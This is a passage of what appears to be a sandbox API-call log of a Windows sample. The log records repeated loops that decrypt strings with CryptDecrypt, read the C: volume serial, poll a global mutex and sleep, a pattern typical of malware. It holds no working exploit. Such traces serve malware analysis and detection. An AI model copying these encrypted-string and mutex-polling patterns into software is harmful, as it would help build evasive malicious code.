pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0054.535] CryptDestroyKey (hKey=0x5901c0) returned 1 [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaad88 [0054.535] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590140) returned 1 [0054.535] CryptSetKeyParam (hKey=0x590140, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0054.535] CryptDecrypt (in: hKey=0x590140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaad88, pdwDataLen=0x229f6a4 | out: pbData=0xcaad88, pdwDataLen=0x229f6a4) returned 1 [0054.535] CryptDestroyKey (hKey=0x590140) returned 1 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaad88 | out: hHeap=0xca0000) returned 1 [0054.535] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0054.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac1a8 [0054.535] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fb80) returned 1 [0054.535] CryptSetKeyParam (hKey=0x58fb80, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0054.535] CryptDecrypt (in: hKey=0x58fb80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac1a8, pdwDataLen=0x229f700 | out: pbData=0xcac1a8, pdwDataLen=0x229f700) returned 1 [0054.535] CryptDestroyKey (hKey=0x58fb80) returned 1 [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0054.535] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0054.535] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0054.535] CloseHandle (hObject=0x2c4) returned 1 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac1a8 | out: hHeap=0xca0000) returned 1 [0054.535] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0054.535] Sleep (dwMilliseconds=0x3e8) [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0055.853] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fd80) returned 1 [0055.853] CryptSetKeyParam (hKey=0x58fd80, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0055.853] CryptDecrypt (in: hKey=0x58fd80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0055.853] CryptDestroyKey (hKey=0x58fd80) returned 1 [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa9f8 [0055.853] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590180) returned 1 [0055.853] CryptSetKeyParam (hKey=0x590180, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0055.853] CryptDecrypt (in: hKey=0x590180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa9f8, pdwDataLen=0x229f6a4 | out: pbData=0xcaa9f8, pdwDataLen=0x229f6a4) returned 1 [0055.853] CryptDestroyKey (hKey=0x590180) returned 1 [0055.853] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa9f8 | out: hHeap=0xca0000) returned 1 [0055.853] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.853] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0055.853] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0055.853] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.853] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac478 [0055.853] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x590200) returned 1 [0055.853] CryptSetKeyParam (hKey=0x590200, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0055.853] CryptDecrypt (in: hKey=0x590200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac478, pdwDataLen=0x229f700 | out: pbData=0xcac478, pdwDataLen=0x229f700) returned 1 [0055.853] CryptDestroyKey (hKey=0x590200) returned 1 [0055.853] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0055.867] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0055.867] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0055.867] CloseHandle (hObject=0x2c4) returned 1 [0055.867] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac478 | out: hHeap=0xca0000) returned 1 [0055.867] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0055.867] Sleep (dwMilliseconds=0x3e8) [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0057.380] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fec0) returned 1 [0057.380] CryptSetKeyParam (hKey=0x58fec0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0057.380] CryptDecrypt (in: hKey=0x58fec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0057.380] CryptDestroyKey (hKey=0x58fec0) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa8c8 [0057.380] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x5900c0) returned 1 [0057.380] CryptSetKeyParam (hKey=0x5900c0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0057.380] CryptDecrypt (in: hKey=0x5900c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa8c8, pdwDataLen=0x229f6a4 | out: pbData=0xcaa8c8, pdwDataLen=0x229f6a4) returned 1 [0057.380] CryptDestroyKey (hKey=0x5900c0) returned 1 [0057.380] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa8c8 | out: hHeap=0xca0000) returned 1 [0057.380] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.380] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0057.380] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0057.380] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.380] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac508 [0057.380] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x590000) returned 1 [0057.380] CryptSetKeyParam (hKey=0x590000, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0057.380] CryptDecrypt (in: hKey=0x590000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac508, pdwDataLen=0x229f700 | out: pbData=0xcac508, pdwDataLen=0x229f700) returned 1 [0057.380] CryptDestroyKey (hKey=0x590000) returned 1 [0057.380] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0057.380] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0057.388] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0057.388] CloseHandle (hObject=0x2c4) returned 1 [0057.388] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac508 | out: hHeap=0xca0000) returned 1 [0057.388] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0057.388] Sleep (dwMilliseconds=0x3e8) [0058.604] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0058.605] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fcc0) returned 1 [0058.605] CryptSetKeyParam (hKey=0x58fcc0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0058.605] CryptDecrypt (in: hKey=0x58fcc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0058.605] CryptDestroyKey (hKey=0x58fcc0) returned 1 [0058.605] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0058.605] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0058.605] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa370 [0058.605] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590200) returned 1 [0058.605] CryptSetKeyParam (hKey=0x590200, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0058.605] CryptDecrypt (in: hKey=0x590200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa370, pdwDataLen=0x229f6a4 | out: pbData=0xcaa370, pdwDataLen=0x229f6a4) returned 1 [0058.605] CryptDestroyKey (hKey=0x590200) returned 1 [0058.605] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa370 | out: hHeap=0xca0000) returned 1 [0058.605] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.605] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0058.605] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0058.605] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.605] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0058.605] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac478 [0058.605] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fe80) returned 1 [0058.605] CryptSetKeyParam (hKey=0x58fe80, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0058.605] CryptDecrypt (in: hKey=0x58fe80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac478, pdwDataLen=0x229f700 | out: pbData=0xcac478, pdwDataLen=0x229f700) returned 1 [0058.605] CryptDestroyKey (hKey=0x58fe80) returned 1 [0058.605] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0058.605] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0058.605] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0058.606] CloseHandle (hObject=0x2c4) returned 1 [0058.606] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac478 | out: hHeap=0xca0000) returned 1 [0058.606] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0058.606] Sleep (dwMilliseconds=0x3e8) [0059.691] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0059.696] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fb40) returned 1 [0059.696] CryptSetKeyParam (hKey=0x58fb40, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0059.696] CryptDecrypt (in: hKey=0x58fb40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0059.696] CryptDestroyKey (hKey=0x58fb40) returned 1 [0059.696] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0059.696] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0059.696] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaad88 [0059.696] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590000) returned 1 [0059.696] CryptSetKeyParam (hKey=0x590000, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0059.696] CryptDecrypt (in: hKey=0x590000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaad88, pdwDataLen=0x229f6a4 | out: pbData=0xcaad88, pdwDataLen=0x229f6a4) returned 1 [0059.696] CryptDestroyKey (hKey=0x590000) returned 1 [0059.696] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaad88 | out: hHeap=0xca0000) returned 1 [0059.696] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.696] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0059.696] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0059.696] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.696] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0059.696] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac0d0 [0059.696] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fc40) returned 1 [0059.696] CryptSetKeyParam (hKey=0x58fc40, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0059.696] CryptDecrypt (in: hKey=0x58fc40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac0d0, pdwDataLen=0x229f700 | out: pbData=0xcac0d0, pdwDataLen=0x229f700) returned 1 [0059.696] CryptDestroyKey (hKey=0x58fc40) returned 1 [0059.696] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0059.696] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0059.696] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0059.696] CloseHandle (hObject=0x2c4) returned 1 [0059.697] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac0d0 | out: hHeap=0xca0000) returned 1 [0059.698] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0059.698] Sleep (dwMilliseconds=0x3e8) [0060.779] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0061.042] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fe80) returned 1 [0061.042] CryptSetKeyParam (hKey=0x58fe80, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0061.042] CryptDecrypt (in: hKey=0x58fe80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0061.042] CryptDestroyKey (hKey=0x58fe80) returned 1 [0061.042] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0061.042] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0061.042] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaae20 [0061.042] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590240) returned 1 [0061.042] CryptSetKeyParam (hKey=0x590240, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0061.042] CryptDecrypt (in: hKey=0x590240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaae20, pdwDataLen=0x229f6a4 | out: pbData=0xcaae20, pdwDataLen=0x229f6a4) returned 1 [0061.042] CryptDestroyKey (hKey=0x590240) returned 1 [0061.042] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaae20 | out: hHeap=0xca0000) returned 1 [0061.042] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.042] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0061.042] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0061.042] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.043] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0061.043] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac748 [0061.043] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fc80) returned 1 [0061.043] CryptSetKeyParam (hKey=0x58fc80, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0061.043] CryptDecrypt (in: hKey=0x58fc80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac748, pdwDataLen=0x229f700 | out: pbData=0xcac748, pdwDataLen=0x229f700) returned 1 [0061.043] CryptDestroyKey (hKey=0x58fc80) returned 1 [0061.043] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0061.043] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0061.043] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0061.043] CloseHandle (hObject=0x2c4) returned 1 [0061.043] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac748 | out: hHeap=0xca0000) returned 1 [0061.060] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0061.060] Sleep (dwMilliseconds=0x3e8) [0062.346] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0062.346] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x590100) returned 1 [0062.347] CryptSetKeyParam (hKey=0x590100, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0062.347] CryptDecrypt (in: hKey=0x590100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0062.347] CryptDestroyKey (hKey=0x590100) returned 1 [0062.347] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0062.347] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0062.347] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaac58 [0062.347] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x590080) returned 1 [0062.347] CryptSetKeyParam (hKey=0x590080, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0062.347] CryptDecrypt (in: hKey=0x590080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaac58, pdwDataLen=0x229f6a4 | out: pbData=0xcaac58, pdwDataLen=0x229f6a4) returned 1 [0062.347] CryptDestroyKey (hKey=0x590080) returned 1 [0062.347] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaac58 | out: hHeap=0xca0000) returned 1 [0062.347] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.347] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0062.347] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0062.347] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.347] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0062.347] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac5e0 [0062.347] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x590080) returned 1 [0062.347] CryptSetKeyParam (hKey=0x590080, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0062.347] CryptDecrypt (in: hKey=0x590080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac5e0, pdwDataLen=0x229f700 | out: pbData=0xcac5e0, pdwDataLen=0x229f700) returned 1 [0062.347] CryptDestroyKey (hKey=0x590080) returned 1 [0062.347] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0062.347] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0062.347] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0062.348] CloseHandle (hObject=0x2c4) returned 1 [0062.348] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac5e0 | out: hHeap=0xca0000) returned 1 [0062.348] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0062.348] Sleep (dwMilliseconds=0x3e8) [0063.427] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0063.427] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58ff80) returned 1 [0063.427] CryptSetKeyParam (hKey=0x58ff80, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0063.427] CryptDecrypt (in: hKey=0x58ff80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, 